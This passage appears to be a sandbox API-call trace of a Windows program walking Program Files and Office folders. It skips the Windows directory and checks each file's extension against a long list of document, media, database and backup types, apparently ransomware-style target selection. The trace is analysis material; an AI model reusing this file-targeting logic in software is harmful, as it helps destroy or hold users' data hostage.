	[0085.077] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0
	[0085.077] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0085.077] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.077] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0085.078] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0085.078] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0085.078] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0085.079] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0085.079] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0
	[0085.079] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0085.079] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.079] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0085.080] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.080] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0
	[0085.080] FindClose (in: hFindFile=0x811988 | out: hFindFile=0x811988) returned 1
	[0085.080] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0085.081] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0
	[0085.081] FindClose (in: hFindFile=0x811e08 | out: hFindFile=0x811e08) returned 1
	[0085.082] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0085.082] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0085.085] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0085.085] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1
	[0085.087] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0085.088] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0085.090] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0085.090] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0085.090] FindClose (in: hFindFile=0x811a08 | out: hFindFile=0x811a08) returned 1
	[0085.090] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0085.090] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0
	[0085.090] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0085.091] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0085.092] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1
	[0085.576] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0085.576] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0
	[0085.576] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0085.576] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.576] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1
	[0085.578] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0085.578] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0
	[0085.578] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0085.578] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.578] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1
	[0085.579] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0085.579] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0085.579] FindClose (in: hFindFile=0x811988 | out: hFindFile=0x811988) returned 1
	[0085.580] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.580] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1
	[0085.582] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0085.582] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0085.582] FindClose (in: hFindFile=0x811988 | out: hFindFile=0x811988) returned 1
	[0085.582] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.582] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1
	[0085.583] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0085.583] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0085.583] FindClose (in: hFindFile=0x811988 | out: hFindFile=0x811988) returned 1
	[0085.583] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.584] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1
	[0085.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl") returned 103
	[0085.584] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl") returned 1
	[0085.584] lstrlenW (lpString="Microsoft.Office.BusinessData.Intl") returned 34
	[0085.584] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Microsoft.Office.BusinessData.Intl") returned -1
	[0085.584] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3fe3018
	[0085.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl") returned 103
	[0085.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\*", lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811988
	[0085.584] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.584] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1
	[0085.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C") returned 130
	[0085.584] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C") returned 1
	[0085.584] lstrlenW (lpString="16.0.0.0__71E9BCE111E9429C") returned 26
	[0085.584] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="16.0.0.0__71E9BCE111E9429C") returned 1
	[0085.584] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x4003028
	[0085.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C") returned 130
	[0085.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2e9e69c | out: lpFindFileData=0x2e9e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x811a08
	[0085.585] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9e69c | out: lpFindFileData=0x2e9e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0085.585] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9e69c | out: lpFindFileData=0x2e9e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x348c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessdata.intl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0085.585] lstrlenW (lpString="microsoft.office.businessdata.intl.dll") returned 38
	[0085.585] lstrlenW (lpString=".1cd") returned 4
	[0085.585] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.585] lstrlenW (lpString=".3ds") returned 4
	[0085.585] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0085.585] lstrlenW (lpString=".3fr") returned 4
	[0085.585] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0085.585] lstrlenW (lpString=".3g2") returned 4
	[0085.585] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0085.585] lstrlenW (lpString=".3gp") returned 4
	[0085.585] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0085.585] lstrlenW (lpString=".7z") returned 3
	[0085.585] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.585] lstrlenW (lpString=".accda") returned 6
	[0085.585] lstrcmpiW (lpString1=".accda", lpString2="tl.dll") returned -1
	[0085.585] lstrlenW (lpString=".accdb") returned 6
	[0085.585] lstrcmpiW (lpString1=".accdb", lpString2="tl.dll") returned -1
	[0085.585] lstrlenW (lpString=".accdc") returned 6
	[0085.585] lstrcmpiW (lpString1=".accdc", lpString2="tl.dll") returned -1
	[0085.585] lstrlenW (lpString=".accde") returned 6
	[0085.585] lstrcmpiW (lpString1=".accde", lpString2="tl.dll") returned -1
	[0085.585] lstrlenW (lpString=".accdt") returned 6
	[0085.585] lstrcmpiW (lpString1=".accdt", lpString2="tl.dll") returned -1
	[0085.585] lstrlenW (lpString=".accdw") returned 6
	[0085.585] lstrcmpiW (lpString1=".accdw", lpString2="tl.dll") returned -1
	[0085.585] lstrlenW (lpString=".adb") returned 4
	[0085.585] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0085.585] lstrlenW (lpString=".adp") returned 4
	[0085.585] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0085.585] lstrlenW (lpString=".ai") returned 3
	[0085.585] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0085.585] lstrlenW (lpString=".ai3") returned 4
	[0085.585] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0085.585] lstrlenW (lpString=".ai4") returned 4
	[0085.586] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".ai5") returned 4
	[0085.586] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".ai6") returned 4
	[0085.586] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".ai7") returned 4
	[0085.586] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".ai8") returned 4
	[0085.586] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".anim") returned 5
	[0085.586] lstrcmpiW (lpString1=".anim", lpString2="l.dll") returned -1
	[0085.586] lstrlenW (lpString=".arw") returned 4
	[0085.586] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".as") returned 3
	[0085.586] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0085.586] lstrlenW (lpString=".asa") returned 4
	[0085.586] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".asc") returned 4
	[0085.586] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".ascx") returned 5
	[0085.586] lstrcmpiW (lpString1=".ascx", lpString2="l.dll") returned -1
	[0085.586] lstrlenW (lpString=".asm") returned 4
	[0085.586] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".asmx") returned 5
	[0085.586] lstrcmpiW (lpString1=".asmx", lpString2="l.dll") returned -1
	[0085.586] lstrlenW (lpString=".asp") returned 4
	[0085.586] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".aspx") returned 5
	[0085.586] lstrcmpiW (lpString1=".aspx", lpString2="l.dll") returned -1
	[0085.586] lstrlenW (lpString=".asr") returned 4
	[0085.586] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".asx") returned 4
	[0085.586] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".avi") returned 4
	[0085.586] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".avs") returned 4
	[0085.586] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0085.586] lstrlenW (lpString=".backup") returned 7
	[0085.587] lstrcmpiW (lpString1=".backup", lpString2="ntl.dll") returned -1
